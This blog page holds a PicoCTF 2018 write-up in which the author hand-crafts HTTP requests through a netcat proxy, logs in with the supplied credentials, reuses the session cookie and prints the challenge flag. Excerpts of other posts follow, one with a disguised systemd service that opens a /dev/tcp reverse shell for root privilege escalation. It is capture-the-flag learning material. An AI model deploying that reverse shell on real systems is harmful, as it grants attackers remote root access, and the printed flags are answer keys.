Skip to main content

PicoCTF2018 – Web – Artisinal Handcrafted HTTP 3


PicoCTF2018 – Web – Artisinal Handcrafted HTTP 3

Objective:
We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests.  Looks like you'll have to do this one by hand.  Try connecting via nc 2018shell.picoctf.com 18685, and use the proxy to send HTTP requests to `flag.local`.  We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`.

Hint:
(1)    _Be the browser._  When you navigate to a page, how does your browser send HTTP requests?  How does this change when you submit a form?

Solution:

This is my first-time sending HTTP GET and POST manually, so I leaned pretty heavily on online resources

@pico-2018-shell:~$ nc 2018shell.picoctf.com 18685
Real Business Corp., Internal Proxy
Version 2.0.7
To proceed, please solve the following captcha:

 _____          __          
/ __  \        /  |   ______
`' / /' __  __ `| |  |______|
  / /   \ \/ /  | |   ______
./ /___  >  <  _| |_ |______|
\_____/ /_/\_\ \___/        
                            
                            


> 2
Validation succeeded.  Commence HTTP.

GET /
HOST: flag.local

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 321
etag: W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo"
date: Thu, 26 Sep 2019 18:24:23 GMT
connection: close


                        <html>
                                                <head>
                                                                <link rel="stylesheet" type="text/css" href="main.css" />
                                                </head>
                                                <body>
                                                                <header>
                                                                                <h1>Real Business Internal Flag Server</h1>
                                                                                <a href="/login">Login</a>
                                                                </header>
                                                                <main>
                                                                                <p>You need to log in before you can see today's flag.</p>
                                                                </main>
                                                </body>
                                </html>


Okay from here we see there is a login page in the HTML /login let’s get /login and see what is shows


@pico-2018-shell:~$ nc 2018shell.picoctf.com 18685
Real Business Corp., Internal Proxy
Version 2.0.7
To proceed, please solve the following captcha:

 _____            ___         
|  ___|          /   |  ______
|___ \  __  __  / /| | |______|
    \ \ \ \/ / / /_| |  ______
/\__/ /  >  <  \___  | |______|
\____/  /_/\_\     |_/        
                              
                              


> 20
Validation succeeded.  Commence HTTP.

GET /Login HTTP/1.1
host: flag.local

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 498
etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I"
date: Thu, 26 Sep 2019 18:24:49 GMT
connection: close


                        <html>
                                                <head>
                                                                <link rel="stylesheet" type="text/css" href="main.css" />
                                                </head>
                                                <body>
                                                                <header>
                                                                                <h1>Real Business Internal Flag Server</h1>
                                                                                <a href="/login">Login</a>
                                                                </header>
                                                                <main>
                                                                                <h2>Log In</h2>
                                                                               
                                                                                <form method="POST" action="login">
                                                                                                <input type="text" name="user" placeholder="Username" />
                                                                                                <input type="password" name="pass" placeholder="Password" />
                                                                                                <input type="submit" />
                                                                                </form>
                                                                </main>
                                                </body>
                                </html>




It needs a username password luckily they gave this to us, let do a POST with and give the user/pass to the login page


@pico-2018-shell:~$ nc 2018shell.picoctf.com 18685
Real Business Corp., Internal Proxy
Version 2.0.7
To proceed, please solve the following captcha:

 _____             ____         
|____ |           / ___|  ______
    / /  ______  / /___  |______|
    \ \ |______| | ___ \  ______
.___/ /          | \_/ | |______|
\____/           \_____/        
                                
                                


> -3
Validation succeeded.  Commence HTTP.

POST /login HTTP/1.0
Host: flag.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

user=realbusinessuser&pass=potoooooooo
HTTP/1.1 302 Found
x-powered-by: Express
set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/
location: /
vary: Accept
content-type: text/plain; charset=utf-8
content-length: 23
date: Thu, 26 Sep 2019 18:34:34 GMT
connection: close

OK so we get a cookie back from the login let’s pass the cookie to the login page and see what happens


@pico-2018-shell:~$ nc 2018shell.picoctf.com 18685
Real Business Corp., Internal Proxy
Version 2.0.7
To proceed, please solve the following captcha:

 ______           _____         
|___  /          |____ |  ______
   / /   ______      / / |______|
  / /   |______|     \ \  ______
./ /             .___/ / |______|
\_/              \____/         
                                
                                


> 4
Validation succeeded.  Commence HTTP.

GET /
host: flag.local
cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 438
etag: W/"1b6-bgxSS92CBVm1uJx+NK7DdppIBp8"
date: Thu, 26 Sep 2019 18:40:06 GMT
connection: close


                                <html>
                                                <head>
                                                                <link rel="stylesheet" type="text/css" href="main.css" />
                                                </head>
                                                <body>
                                                                <header>
                                                                                <h1>Real Business Internal Flag Server</h1>
                                                                                <div class="user">Real Business Employee</div>
                                                                                <a href="/logout">Logout</a>
                                                                </header>
                                                                <main>
                                                                                <p>Hello <b>Real Business Employee</b>!  Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f}</code>.</p>
                                                                </main>
                                                </body>
                                </html>


Now we got the flag  picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f}

Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar